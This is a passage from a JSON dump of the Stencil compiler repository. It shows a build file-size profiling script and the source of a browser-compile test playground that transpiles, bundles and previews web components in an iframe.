    "content": "const fs = require('fs');\nconst path = require('path');\nconst zlib = require('zlib');\nconst brotli = require('brotli');\n\nlet totalBrotli = 0;\nlet totalGzip = 0;\nlet totalMinify = 0;\n\nmodule.exports = function fileSizeProfile(appName, buildDir, output) {\n  output.push(``, `## ${appName}`);\n  output.push(``);\n  output.push('`' + path.relative(path.join(__dirname, '..'), buildDir) + '`');\n  output.push(``);\n  output.push(`| File                                     | Brotli   | Gzipped  | Minified |`);\n  output.push(`|------------------------------------------|----------|----------|----------|`);\n\n  totalBrotli = 0;\n  totalGzip = 0;\n  totalMinify = 0;\n\n  const processedFiles = new Map(); // Track unique file paths\n\n  const buildFiles = fs\n    .readdirSync(buildDir)\n    .filter((f) => {\n      const fullPath = path.join(buildDir, f);\n      return fs.statSync(fullPath).isFile();\n    })\n    .filter((f) => !f.includes('system'))\n    .filter((f) => !f.includes('css-shim'))\n    .filter((f) => !f.includes('dom'))\n    .filter((f) => !f.includes('shadow-css'))\n    .filter((f) => !f.endsWith('.map') && !f.endsWith('.map.js'))\n    .filter((f) => !f.endsWith('.system.js'))\n    .filter((f) => f !== 'svg')\n    .filter((f) => f !== 'swiper');\n\n  buildFiles.forEach((buildFile) => {\n    const fullPath = path.join(buildDir, buildFile);\n    const realPath = fs.realpathSync(fullPath); // Resolve symlinks\n\n    if (processedFiles.has(realPath)) {\n      return; // Skip already processed files\n    }\n\n    processedFiles.set(realPath, true);\n    const o = getBuildFileSize(fullPath);\n    if (o) {\n      output.push(o);\n    }\n  });\n\n  // render SUM\n  output.push(render('**TOTAL**', totalBrotli, totalGzip, totalMinify));\n\n  output.push(``, ``);\n};\n\nfunction getBuildFileSize(filePath) {\n  try {\n    if (filePath.endsWith('css')) {\n      return null;\n    }\n\n    const content = fs.readFileSync(filePath);\n    let fileName = path.basename(filePath);\n\n    let brotliSize;\n    let gzipSize;\n    let minifiedSize;\n\n    if (content.length > 0) {\n      if (content.includes('SystemJS')) {\n        return null;\n      }\n\n      const brotliResult = brotli.compress(content);\n      brotliSize = brotliResult ? brotliResult.length : 0;\n      gzipSize = zlib.gzipSync(content, { level: 9 }).length;\n      minifiedSize = fs.statSync(filePath).size;\n    } else {\n      brotliSize = gzipSize = minifiedSize = 0;\n    }\n\n    if (minifiedSize === 0) {\n      return null;\n    }\n\n    totalBrotli += brotliSize;\n    totalGzip += gzipSize;\n    totalMinify += minifiedSize;\n\n    return render(fileName, brotliSize, gzipSize, minifiedSize);\n  } catch (e) {\n    console.error(e);\n    return '';\n  }\n}\n\nfunction render(fileName, brotliSize, gzipSize, minifiedSize) {\n  if (!fileName.includes('entry')) {\n    // Replace hash-like patterns (6+ alphanumeric characters, often with underscores/mixed case)\n    // Matches patterns like: BKTJo, BzdVKK6O, 3yrFD0, Cc5x6M82, pv_ODqr_, BtC, DfQ_W\n    fileName = fileName.replace(/-[A-Za-z0-9_]{4,}(?=[-.]|$)/g, '-hash');\n\n    // Clean up edge cases where hash appears at the start after period\n    // e.g., \"hash.transition-BzdVKK6O\" -> \"hash.transition-hash\"\n    fileName = fileName.replace(/\\.(transition|bundle)-[A-Za-z0-9_]{4,}($|\\.)/g, '.$1-hash$2');\n  }\n  return `| ${fileName.padEnd(40)} | ${getFileSize(brotliSize).padEnd(8)} | ${getFileSize(gzipSize).padEnd(\n    8,\n  )} | ${getFileSize(minifiedSize).padEnd(8)} |`;\n}\n\nfunction getFileSize(bytes) {\n  if (bytes === 0) {\n    return '-';\n  }\n  if (bytes < 1024) {\n    return `${bytes}B`;\n  }\n  return `${(bytes / 1024).toFixed(2)}KB`;\n}\n"
  },
  {
    "path": "test/browser-compile/package.json",
    "content": "{\n  \"name\": \"browser-compile\",\n  \"private\": true,\n  \"version\": \"0.0.1\",\n  \"description\": \"\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"build\": \"node ../../bin/stencil build\",\n    \"start\": \"node ../../bin/stencil build --debug --watch --dev --serve\"\n  },\n  \"author\": \"Ionic Team\",\n  \"license\": \"MIT\"\n}\n"
  },
  {
    "path": "test/browser-compile/src/compiler.worker.ts",
    "content": "import type StencilCompiler from '@stencil/core/compiler';\n\n(self as any).importScripts('/@stencil/core/compiler/stencil.js');\n\nconst stencil: typeof StencilCompiler = (self as any).stencil;\n\nexport const transpileWorker = (code: string, opts: StencilCompiler.TranspileOptions) => {\n  return stencil.transpile(code, opts);\n};\n"
  },
  {
    "path": "test/browser-compile/src/components/app-root/app-root.css",
    "content": "* {\n  box-sizing: border-box;\n}\n\nhtml,\nbody {\n  height: 100vh;\n  overflow: hidden;\n  margin: 0;\n  padding: 0;\n  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;\n  background: #f7f7f7;\n}\n\napp-root {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  right: 0;\n  overflow: auto;\n  display: flex;\n  width: 100%;\n  height: 100vh;\n  padding: 5px;\n}\n\nsection {\n  flex: 1;\n  padding: 5px;\n}\n\nsection header {\n  font-size: 10px;\n  padding: 2px 0 3px 5px;\n  background: #ccc;\n  color: white;\n  border-top-right-radius: 5px;\n  border-top-left-radius: 5px;\n}\n\nsection header a {\n  float: right;\n  margin-right: 8px;\n}\n\ntextarea {\n  width: 100%;\n  font-family: 'Courier New', Courier, monospace;\n  font-size: 14px;\n  resize: none;\n  border: 0;\n  padding: 5px;\n  border-bottom-right-radius: 5px;\n  border-bottom-left-radius: 5px;\n  outline: 0;\n}\n\n.source textarea {\n  height: calc(100% - 315px);\n}\n\n.build textarea {\n  height: calc(100% - 80px);\n}\n\n.preview textarea {\n  height: calc(100% - 280px);\n}\n\n.options {\n  margin: 10px 0;\n}\n\nlabel {\n  display: block;\n  margin: 3px 0;\n}\nlabel[hidden],\nspan[hidden] {\n  display: none;\n}\n\nlabel span {\n  display: inline-block;\n  font-size: 12px;\n  width: 115px;\n}\n\n.file-size {\n  padding: 0 0 0 15px;\n}\n\niframe {\n  display: block;\n  width: 100%;\n  height: 230px;\n  border: 0;\n  background: white;\n}\n"
  },
  {
    "path": "test/browser-compile/src/components/app-root/app-root.tsx",
    "content": "import { Component, Host, h, State } from '@stencil/core';\nimport type StencilTypes from '@stencil/core/compiler';\nimport type TypeScriptTypes from 'typescript';\nimport type RollupTypes from 'rollup';\nimport { cssTemplatePlugin } from '../../utils/css-template-plugin';\nimport { loadDeps } from '../../utils/load-deps';\nimport { templates, templateList } from '../../utils/templates';\nimport { transpileWorker } from '../../compiler.worker';\n\n@Component({\n  tag: 'app-root',\n  styleUrl: 'app-root.css',\n})\nexport class AppRoot {\n  file: HTMLInputElement;\n  sourceCodeInput: HTMLTextAreaElement;\n  transpiledInput: HTMLTextAreaElement;\n  bundledInput: HTMLTextAreaElement;\n  htmlCodeInput: HTMLTextAreaElement;\n  componentMetadata: HTMLSelectElement;\n  proxy: HTMLSelectElement;\n  module: HTMLSelectElement;\n  target: HTMLSelectElement;\n  sourceMap: HTMLSelectElement;\n  style: HTMLSelectElement;\n  styleImportData: HTMLSelectElement;\n  componentExport: HTMLSelectElement;\n  coreImportPath: HTMLSelectElement;\n  build: HTMLSelectElement;\n  fileTemplate: HTMLSelectElement;\n  transpilerThread: HTMLSelectElement;\n  iframe: HTMLIFrameElement;\n\n  fs = new Map<string, string>();\n  resolveLookup = new Map<string, string>();\n\n  @State() wrap = 'off';\n  @State() buildView: 'transpiled' | 'bundled' = 'transpiled';\n  @State() minified: 'uncompressed' | 'pretty' | 'minified' = 'uncompressed';\n  @State() bundledLength = 0;\n  @State() diagnostics: any = [];\n\n  componentWillLoad() {\n    return loadDeps(this.resolveLookup, this.fs);\n  }\n\n  async componentDidLoad() {\n    this.loadTemplate(templates.keys().next().value);\n  }\n\n  loadTemplate(fileName: string) {\n    this.file.value = fileName;\n    const tmp = templates.get(fileName);\n    this.sourceCodeInput.value = tmp.source.trim();\n    this.htmlCodeInput.value = tmp.html.trim();\n    this.compile();\n  }\n\n  async compile() {\n    console.log(`compile: stencil v${stencil.version}, typescript v${stencil.versions.typescript}`);\n\n    const opts: StencilTypes.TranspileOptions = {\n      file: this.file.value,\n      componentExport: this.componentExport.value,\n      componentMetadata: this.componentMetadata.value,\n      coreImportPath: this.coreImportPath.value !== 'null' ? this.coreImportPath.value : null,\n      proxy: this.proxy.value,\n      module: this.module.value,\n      target: this.target.value,\n      sourceMap: this.sourceMap.value === 'true' ? true : this.sourceMap.value === 'inline' ? 'inline' : false,\n      style: this.style.value,\n      styleImportData: this.styleImportData.value,\n    };\n\n    const browserPromise = stencil.transpile(this.sourceCodeInput.value, opts);\n    const workerPromise = transpileWorker(this.sourceCodeInput.value, opts);\n\n    const browserResults = await browserPromise;\n    const workerResults = await workerPromise;\n\n    const results = this.transpilerThread.value === 'worker' ? workerResults : browserResults;\n\n    results.imports.forEach((imprt) => {\n      console.log('import:', imprt);\n    });\n\n    this.transpiledInput.value = results.code;\n    this.diagnostics = results.diagnostics;\n    this.wrap = 'off';\n\n    this.diagnostics.forEach((d: any) => {\n      if (d.level === 'error') {\n        console.error(d.messageText);\n      } else if (d.level === 'warn') {\n        console.warn(d.messageText);\n      } else {\n        console.info(d.messageText);\n      }\n    });\n\n    await this.bundle();\n  }\n\n  async bundle() {\n    console.log(`bundle: rollup v${rollup.VERSION}`);\n\n    let entryId = this.file.value;\n    if (!entryId.startsWith('/')) {\n      entryId = '/' + entryId;\n    }\n\n    this.fs.set(entryId, this.transpiledInput.value);\n\n    const inputOptions: RollupTypes.InputOptions = {\n      input: entryId,\n      treeshake: true,\n      plugins: [\n        {\n          name: 'browserPlugin',\n          resolveId: (importee: string, importer: string) => {\n            console.log('bundle resolveId, importee:', importee, 'importer:', importer);\n\n            if (importee.startsWith('.')) {\n              var u = new URL(importee, 'http://url.resolve' + (importer || ''));\n              console.log('bundle path resolve:', u.pathname);\n              return u.pathname + u.search;\n            }\n\n            const resolved = this.resolveLookup.get(importee);\n            if (resolved) {\n              console.log('bundle resolveLookup:', resolved);\n              return resolved;\n            }\n            return importee;\n          },\n          load: (id: string) => {\n            console.log('bundle load:', id);\n            const code = this.fs.get(id.split('?')[0]);\n            return code;\n          },\n        },\n        cssTemplatePlugin,\n      ],\n      onwarn(warning: any) {\n        console.group(warning.loc ? warning.loc.file : '');\n        console.warn(warning.message);\n        if (warning.frame) {\n          console.log(warning.frame);\n        }\n        if (warning.url) {\n          console.log(`See ${warning.url} for more information`);\n        }\n        console.groupEnd();\n      },\n    };\n\n    const generateOptions: RollupTypes.OutputOptions = {\n      format: this.module.value as any,\n    };\n\n    try {\n      const build = await rollup.rollup(inputOptions);\n      const generated = await build.generate(generateOptions);\n\n      this.bundledInput.value = generated.output[0].code;\n      this.wrap = 'off';\n\n      if (this.minified === 'minified') {\n        const results = await stencil.optimizeJs({\n          input: this.bundledInput.value,\n          target: this.target.value as any,\n          pretty: false,\n        });\n        this.bundledInput.value = results.output;\n        this.wrap = 'on';\n      } else if (this.minified === 'pretty') {\n        const results = await stencil.optimizeJs({\n          input: this.bundledInput.value,\n          target: this.target.value as any,\n          pretty: true,\n        });\n        this.bundledInput.value = results.output;\n      }\n\n      this.preview();\n    } catch (e: unknown) {\n      this.bundledInput.value = e.toString();\n\n      if (this.isRollupLogProps(e)) {\n        if (e.loc?.file) {\n          this.bundledInput.value += '\\n\\n\\n' + e.loc.file;\n        }\n\n        if (e.frame) {\n          this.bundledInput.value += '\\n\\n\\n' + e.frame;\n        }\n      }\n      this.wrap = 'on';\n      this.iframe.contentWindow.document.body.innerHTML = '';\n    }\n  }\n\n  /**\n   * Type guard to verify the shape of some value that was caught during the bundling process is of type,\n   * `RollupLogProps`, the base type of both `RollupWarning` and `RollupError`.\n   *\n   * At the time of this writing, the only requirement for a `RollupLogProps` entity is for it to have a\n   * `message: string` property.\n   *\n   * @param entity the error that was caught\n   * @returns `true` if the `entity` parameter is of type `RollupLogProps`, `false` otherwise\n   */\n  private isRollupLogProps(entity: unknown): entity is RollupTypes.RollupLog {\n    return this.isObjectWithMessage(entity) && typeof entity.message === 'string';\n  }\n\n  /**\n   * Type guard to verify an object has a 'message' field\n   * @param entity the entity to test\n   * @returns `true` if the `entity` parameter matches the type declared in the method signature, `false` otherwise\n   */\n  private isObjectWithMessage(entity: unknown): entity is { message: unknown } {\n    return entity != null && typeof entity === 'object' && entity.hasOwnProperty('message');\n  }\n\n  preview() {\n    console.log('preview reload');\n    this.bundledLength = this.bundledInput.value.length;\n\n    this.iframe.contentWindow.location.reload();\n\n    (window as any).bundledInput = this.bundledInput.value;\n    (window as any).htmlCodeInput = this.htmlCodeInput.value;\n\n    setTimeout(() => {\n      console.log('preview update');\n      const doc = this.iframe.contentDocument;\n\n      const script = doc.createElement('script');\n      script.setAttribute('type', 'module');\n      script.innerHTML = this.bundledInput.value;\n      doc.head.appendChild(script);\n\n      doc.body.innerHTML = this.htmlCodeInput.value;\n    }, 20);\n  }\n\n  openInWindow = () => {\n    window.open('/preview.html', '_blank');\n  };\n\n  render() {\n    return (\n      <Host>\n        <section class=\"source\">\n          <header>Source</header>\n          <textarea\n            spellcheck=\"false\"\n            wrap=\"off\"\n            autocapitalize=\"off\"\n            ref={(el) => (this.sourceCodeInput = el)}\n            onInput={() => this.compile()}\n          />\n\n          <div class=\"options\">\n            <label>\n              <span>Templates:</span>\n              <select\n                ref={(el) => (this.fileTemplate = el)}\n                onInput={(ev: any) => {\n                  this.loadTemplate(ev.target.value);\n                }}\n              >\n                {templateList.map((fileName) => (\n                  <option value={fileName}>{fileName.replace('.tsx', '')}</option>\n                ))}\n              </select>\n            </label>\n            <label>\n              <span>File:</span>\n              <input ref={(el) => (this.file = el)} onInput={this.compile.bind(this)} />\n            </label>\n            <label>\n              <span>Export:</span>\n              <select ref={(el) => (this.componentExport = el)} onInput={this.compile.bind(this)}>\n                <option value=\"customelement\">customelement</option>\n                <option value=\"module\">module</option>\n                <option value=\"null\">null</option>\n              </select>\n            </label>\n            <label>\n              <span>Module:</span>\n              <select ref={(el) => (this.module = el)} onInput={this.compile.bind(this)}>\n                <option value=\"esm\">esm</option>\n                <option value=\"cjs\">cjs</option>\n                <option value=\"null\">null</option>\n              </select>\n            </label>\n            <label>\n              <span>Target:</span>\n              <select ref={(el) => (this.target = el)} onInput={this.compile.bind(this)}>\n                <option value=\"latest\">latest</option>\n                <option value=\"esnext\">esnext</option>\n                <option value=\"es2020\">es2020</option>\n                <option value=\"es2017\">es2017</option>\n                <option value=\"es2015\">es2015</option>\n                <option value=\"es5\">es5</option>\n                <option value=\"null\">null</option>\n              </select>\n            </label>\n            <label>\n              <span>Source Map:</span>\n              <select ref={(el) => (this.sourceMap = el)} onInput={this.compile.bind(this)}>\n                <option value=\"true\">true</option>\n                <option value=\"inline\">inline</option>\n                <option value=\"false\">false</option>\n                <option value=\"null\">null</option>\n              </select>\n            </label>\n            <label>\n              <span>Style:</span>\n              <select ref={(el) => (this.style = el)} onInput={this.compile.bind(this)}>\n                <option value=\"static\">static</option>\n                <option value=\"null\">null</option>\n              </select>\n            </label>\n            <label>\n              <span>Style Import Data:</span>\n              <select ref={(el) => (this.styleImportData = el)} onInput={this.compile.bind(this)}>\n                <option value=\"queryparams\">queryparams</option>\n                <option value=\"null\">null</option>\n              </select>\n            </label>\n            <label>\n              <span>Proxy:</span>\n              <select ref={(el) => (this.proxy = el)} onInput={this.compile.bind(this)}>\n                <option value=\"defineproperty\">defineproperty</option>\n                <option value=\"null\">null</option>\n              </select>\n            </label>\n            <label>\n              <span>Metadata:</span>\n              <select ref={(el) => (this.componentMetadata = el)} onInput={this.compile.bind(this)}>\n                <option value=\"null\">null</option>\n                <option value=\"compilerstatic\">compilerstatic</option>\n              </select>\n            </label>\n            <label>\n              <span>Core:</span>\n              <select ref={(el) => (this.coreImportPath = el)} onInput={this.compile.bind(this)}>\n                <option value=\"null\">null</option>\n                <option value=\"@stencil/core/internal/client\">@stencil/core/internal/client</option>\n                <option value=\"@stencil/core/internal/testing\">@stencil/core/internal/testing</option>\n              </select>\n            </label>\n            <label>\n              <span>Transpiler:</span>\n              <select ref={(el) => (this.transpilerThread = el)} onInput={this.compile.bind(this)}>\n                <option value=\"main\">Main thread</option>\n                <option value=\"worker\">Worker thread</option>\n              </select>\n            </label>\n          </div>\n        </section>\n\n        <section class=\"build\" hidden={this.diagnostics.length > 0}>\n          <header>{this.buildView === 'transpiled' ? 'Transpiled Build' : 'Bundled Build'}</header>\n\n          <textarea\n            ref={(el) => (this.transpiledInput = el)}\n            onInput={this.bundle.bind(this)}\n            hidden={this.buildView !== 'transpiled'}\n            spellcheck=\"false\"\n            autocapitalize=\"off\"\n            wrap=\"off\"\n          />\n\n          <textarea\n            ref={(el) => (this.bundledInput = el)}\n            onInput={this.preview.bind(this)}\n            hidden={this.buildView !== 'bundled'}\n            spellcheck=\"false\"\n            autocapitalize=\"off\"\n            wrap={this.wrap}\n          />\n\n          <div class=\"options\">\n            <label>\n              <span>Build:</span>\n              <select\n                ref={(el) => (this.build = el)}\n                onInput={(ev: any) => {\n                  this.buildView = ev.target.value;\n                }}\n              >\n                <option value=\"transpiled\">Transpiled</option>\n                <option value=\"bundled\">Bundled</option>\n              </select>\n            </label>\n\n            <label hidden={this.buildView !== 'bundled'}>\n              <span>Minify:</span>\n              <select\n                onInput={(ev: any) => {\n                  this.minified = ev.target.value;\n                  this.bundle();\n                }}\n              >\n                <option value=\"uncompressed\">Uncompressed</option>\n                <option value=\"pretty\">Pretty Minified</option>\n                <option value=\"minified\">Minified</option>\n              </select>\n              <span class=\"file-size\">{this.bundledLength} b</span>\n            </label>\n          </div>\n        </section>\n\n        <section class=\"diagnostics\" hidden={this.diagnostics.length === 0}>\n          <header>Diagnostics</header>\n          {this.diagnostics.map((d: any) => (\n            <div>{d.messageText}</div>\n          ))}\n        </section>\n\n        <section class=\"preview\">\n          <header>HTML</header>\n          <textarea\n            spellcheck=\"false\"\n            wrap=\"off\"\n            autocapitalize=\"off\"\n            ref={(el) => (this.htmlCodeInput = el)}\n            onInput={this.preview.bind(this)}\n          />\n          <div class=\"options\"></div>\n\n          <div class=\"view\">\n            <header>\n              Preview\n              <a href=\"#\" onClick={this.openInWindow}>\n                Open in window\n              </a>\n            </header>\n            <iframe ref={(el) => (this.iframe = el)}></iframe>\n          </div>\n        </section>\n      </Host>\n    );\n  }\n}\n\ndeclare const stencil: typeof StencilTypes;\ndeclare const ts: typeof TypeScriptTypes;\ndeclare const rollup: typeof RollupTypes;\n"
  },
  {
    "path": "test/browser-compile/src/components.d.ts",
    "content": "/* eslint-disable */\n/* tslint:disable */\n/**\n * This is an autogenerated file created by the Stencil compiler.\n * It contains typing information for all components that exist in this project.\n */\nimport { HTMLStencilElement, JSXBase } from \"@stencil/core/internal\";\nexport namespace Components {\n    interface AppRoot {\n    }\n}\ndeclare global {\n    interface HTMLAppRootElement extends Components.AppRoot, HTMLStencilElement {\n    }\n    var HTMLAppRootElement: {\n        prototype: HTMLAppRootElement;\n        new (): HTMLAppRootElement;\n    };\n    interface HTMLElementTagNameMap {\n        \"app-root\": HTMLAppRootElement;\n    }\n}\ndeclare namespace LocalJSX {\n    interface AppRoot {\n    }\n    interface IntrinsicElements {\n        \"app-root\": AppRoot;\n    }\n}\nexport { LocalJSX as JSX };\ndeclare module \"@stencil/core\" {\n    export namespace JSX {\n        interface IntrinsicElements {\n            \"app-root\": LocalJSX.IntrinsicElements[\"app-root\"] & JSXBase.HTMLAttributes<HTMLAppRootElement>;\n        }\n    }\n}\n"
  },
  {
    "path": "test/browser-compile/src/index.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n<head>\n  <meta charset=\"UTF-8\">\n  <title>Stencil Browser Compile</title>\n  <script type=\"module\" src=\"/build/browsercompile.esm.js\"></script>\n</head>\n<body>\n  <app-root></app-root>\n</body>\n</html>"
  },
  {
    "path": "test/browser-compile/src/preview.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n<head>\n  <meta charset=\"UTF-8\">\n  <title>Stencil Preview</title>\n</head>\n<body>\n  <script>\n    const script = document.createElement('script');\n    script.setAttribute('type', 'module');\n    script.innerHTML = 'console.log(\"PREVIEW!!\");\\n' + window.opener.bundledInput;\n    document.head.appendChild(script);\n    document.body.innerHTML = window.opener.htmlCodeInput;\n  </script>\n</body>\n</html>"
  },
  {
    "path": "test/browser-compile/src/utils/css-template-plugin.ts",
    "content": "import StencilTypes from '@stencil/core/compiler';\n\nexport const styleImports = new Map<string, string>();\nstyleImports.set(\n  `/shared.css`,\n  `\nbutton {\n  font-size: 24px;\n  color: white;\n  font-weight: bold;\n}\n`,\n);\n\nstyleImports.set(\n  `/style-import.css`,\n  `\n@import \"./shared.css\";\n\nmy-button { display: block; padding: 20px; background: #ddd; }\n\nmy-button::before { content: \"style-import.css\"; position: absolute; left: 0; top: 0; }\n\nbutton { background: purple; }\n`,\n);\n\nstyleImports.set(\n  `/scoped-style-import.css`,\n  `\n@import \"./shared.css\";\n\n:host { display: block; padding: 20px; background: #ddd; }\n\n:host::before { content: \"scoped-style-import.css\"; position: absolute; left: 0; top: 0; }\n\nbutton { background: maroon; }\n`,\n);\n\nstyleImports.set(\n  `/ios.css`,\n  `\n@import \"shared.css\";\n\n:host { display: block; padding: 20px; background: #ddd; }\n\n:host::before { content: \"ios.css\"; position: absolute; left: 0; top: 0; }\n\nbutton { background: blue; }\n`,\n);\n\nstyleImports.set(\n  `/md.css`,\n  `\n@import \"/shared.css\";\n\n:host { display: block; padding: 20px; background: #ddd; }\n\n:host::before { content: \"md.css\"; position: absolute; left: 50px; top: 0; }\n\nbutton { background: green; }\n`,\n);\n\nexport const cssTemplatePlugin = {\n  name: 'cssTemplatePlugin',\n\n  async load(id: string) {\n    let code = styleImports.get(id.split('?')[0]);\n    if (code) {\n      const results = await stencil.transpile(code, {\n        file: id,\n      });\n      return results.code;\n    }\n    return code;\n  },\n};\n\ndeclare const stencil: typeof StencilTypes;\n"
  },
  {
    "path": "test/browser-compile/src/utils/load-deps.ts",
    "content": "export const loadDeps = async (resolveLookup: Map<string, string>, fs: Map<string, string>) => {\n  resolveLookup.set('@stencil/core/internal/client', '/@stencil/core/internal/client/index.js');\n  resolveLookup.set('@stencil/core/internal/app-data', '/@stencil/core/internal/app-data/index.js');\n\n  await loadDep('/@stencil/core/compiler/stencil.js');\n\n  const rollupDep: [string, unknown] = Object.entries(stencil.versions).find(\n    (dep: [string, unknown]) => dep[0] === 'rollup',\n  );\n  await loadDep(`https://cdn.jsdelivr.net/npm/rollup@${rollupDep[1]}/dist/rollup.browser.js`);\n\n  const fetchResults = await Promise.all([\n    await fetch('/@stencil/core/internal/client/index.js'),\n    await fetch('/@stencil/core/internal/client/shadow-css.js'),\n    await fetch('/@stencil/core/internal/app-data/index.js'),\n    await fetch('/@stencil/core/internal/client/css-shim.js'),\n    await fetch('/@stencil/core/internal/client/dom.js'),\n  ]);\n\n  await Promise.all([\n    fetchResults.map(async (r) => {\n      const file = new URL(r.url).pathname;\n      const code = await r.text();\n      fs.set(file, code);\n    }),\n  ]);\n};\n\nconst loadDep = (url: string) => {\n  return new Promise((resolve, reject) => {\n    const script = document.createElement('script');\n    script.onload = () => {\n      console.log('loaded dep:', url);\n      setTimeout(resolve);\n    };\n    script.onerror = (e) => {\n      console.log('error loading dep:', url);\n      reject(e);\n    };\n    script.src = url;\n    document.head.appendChild(script);\n  });\n};\n\ndeclare const stencil: any;\n"
  },
  {
    "path": "test/browser-compile/src/utils/templates.ts",
    "content": "export interface QuickTemplate {\n  source: string;\n  html: string;\n}\nexport const templates = new Map<string, QuickTemplate>();\n\ntemplates.set(`hello-world.tsx`, {\n  source: `\nimport { Component } from '@stencil/core';\n\n@Component({\n  tag: 'hello-world'\n})\nexport class HelloWorld {\n\n  render() {\n    return 'Hello World';\n  }\n\n}\n`,\n  html: `\n<hello-world></hello-world>\n`,\n});\n\ntemplates.set(`properties.tsx`, {\n  source: `\n\nimport { Component, Prop, h } from '@stencil/core';\n\n@Component({\n  tag: 'my-name'\n})\nexport class MyName {\n\n  @Prop() first: string;\n  @Prop() last: string;\n\n  render() {\n    return (\n      <h1>{this.first} {this.last}</h1>\n    );\n  }\n\n}\n\n`,\n  html: `\n<my-name first=\"Stencil\" last=\"JS\"></my-name>\n`,\n});\n\ntemplates.set(`shadow-inline-styles.tsx`, {\n  source: `\n\nimport { Component, Prop, h } from '@stencil/core';\n\n@Component({\n  tag: 'my-button',\n  shadow: true,\n  styles: ':host { display: block; padding: 20px; background: #ddd; } :host::before { content: \"shadow :host\"; position: absolute; left: 0; top: 0; } button { font-size: 24px; background: red; color: white; font-weight: bold; }'\n})\nexport class MyButton {\n\n  render() {\n    return (\n      <button style={{background: this.color}}>\n        <slot/>\n      </button>\n    );\n  }\n\n}\n\n`,\n  html: `\n<my-button>Shadow / Inline Styles</my-button>\n`,\n});\n\ntemplates.set(`scoped-inline-styles.tsx`, {\n  source: `\n\nimport { Component, Prop, h } from '@stencil/core';\n\n@Component({\n  tag: 'my-button',\n  scoped: true,\n  styles: ':host { display: block; padding: 20px; background: #ddd; } :host::before { content: \"scoped :host\"; position: absolute; left: 0; top: 0; } button { font-size: 24px; background: green; color: white; font-weight: bold; }'\n})\nexport class MyButton {\n\n  render() {\n    return (\n      <button>\n        <slot/>\n      </button>\n    );\n  }\n\n}\n\n`,\n  html: `\n<my-button>Scoped / Inline Styles</my-button>\n`,\n});\n\ntemplates.set(`style-esm-import.tsx`, {\n  source: `\n\nimport { Component, Prop, h } from '@stencil/core';\nimport styleEsmImport from './style-import.css';\n\n@Component({\n  tag: 'my-button',\n  styles: styleEsmImport\n})\nexport class MyButton {\n\n  render() {\n    return (\n      <button>\n        <slot/>\n      </button>\n    );\n  }\n\n}\n\n`,\n  html: `\n<my-button>Style ESM Import</my-button>\n`,\n});\n\ntemplates.set(`style-local-const.tsx`, {\n  source: `\n\nimport { Component, Prop, h } from '@stencil/core';\nconst styleLocal = ':host { display: block; padding: 20px; background: #ddd; } :host::before { content: \"styleLocal\"; position: absolute; left: 0; top: 0; } button { font-size: 24px; background: maroon; color: white; font-weight: bold; }';\n\n@Component({\n  tag: 'my-button',\n  styles: styleLocal,\n  shadow: true\n})\nexport class MyButton {\n\n  render() {\n    return (\n      <button>\n        <slot/>\n      </button>\n    );\n  }\n\n}\n\n`,\n  html: `\n<my-button>Style Local Const</my-button>\n`,\n});\n\ntemplates.set(`style-url.tsx`, {\n  source: `\n\nimport { Component, Prop, h } from '@stencil/core';\n\n@Component({\n  tag: 'my-button',\n  styleUrl: 'style-import.css'\n})\nexport class MyButton {\n\n  render() {\n    return (\n      <button>\n        <slot/>\n      </button>\n    );\n  }\n\n}\n\n`,\n  html: `\n<my-button>Style Url</my-button>\n`,\n});\n\ntemplates.set(`scoped-style-url.tsx`, {\n  source: `\n\n  import { Component, Prop, h } from '@stencil/core';\n\n  @Component({\n    tag: 'my-button',\n    scoped: true,\n    styleUrl: 'scoped-style-import.css'\n  })\n  export class MyButton {\n\n    render() {\n      return (\n        <button>\n          <slot/>\n        </button>\n      );\n    }\n\n  }\n\n  `,\n  html: `\n  <my-button>Scoped Style Url</my-button>\n  `,\n});\n\ntemplates.set(`shadow-modes.tsx`, {\n  source: `\n\nimport { Component, Prop, h, setMode } from '@stencil/core';\n\nsetMode(elm => {\n  return elm.getAttribute('mode');\n});\n\n@Component({\n  tag: 'my-button',\n  shadow: true,\n  styleUrls: {\n    ios: 'ios.css',\n    md: 'md.css'\n  }\n})\nexport class MyButton {\n\n  render() {\n    return (\n      <button>\n        <slot/>\n      </button>\n    );\n  }\n\n}\n\n`,\n  html: `\n<my-button mode=\"ios\">ios Shadow Url - Blue</my-button>\n<my-button mode=\"md\">md Shadow Url - Green</my-button>\n`,\n});\n\ntemplates.set(`scoped-modes.tsx`, {\n  source: `\n\nimport { Component, Prop, h, setMode } from '@stencil/core';\n\nsetMode(elm => {\n  return elm.getAttribute('mode');\n});\n\n@Component({\n  tag: 'my-button',\n  scoped: true,\n  styleUrls: {\n    ios: 'ios.css',\n    md: 'md.css'\n  }\n})\nexport class MyButton {\n\n  render() {\n    return (\n      <button>\n        <slot/>\n      </button>\n    );\n  }\n\n}\n\n`,\n  html: `\n<my-button mode=\"ios\">ios Scoped Url - Blue</my-button>\n<my-button mode=\"md\">md Scoped Url - Green</my-button>\n`,\n});\n\ntemplates.set(`my-css.css`, {\n  source: `\n@import \"some-import.css\";\nbody {\n  background: gray;\n}\nheader div > span.panic {\n  color: red;\n}\n`,\n  html: ``,\n});\n\nexport const templateList = Array.from(templates).map(([fileName]) => fileName);\n"
  },
  {
    "path": "test/browser-compile/stencil.config.ts",
    "content": "import { Config } from '../../internal';\n\nexport const config: Config = {\n  namespace: 'BrowserCompile',\n\n  outputTargets: [\n    {\n      type: 'www',\n      serviceWorker: null,\n      copy: [\n        {\n          src: '../../../compiler/',\n          dest: './@stencil/core/compiler/',\n          warn: true,\n        },\n        {\n          src: '../../../internal/',\n          dest: './@stencil/core/internal/',\n          warn: true,\n        },\n        {\n          src: 'preview.html',\n          warn: true,\n        },\n      ],\n    },\n  ],\n  enableCache: false,\n};\n"
  },
  {
    "path": "test/browser-compile/tsconfig.json",
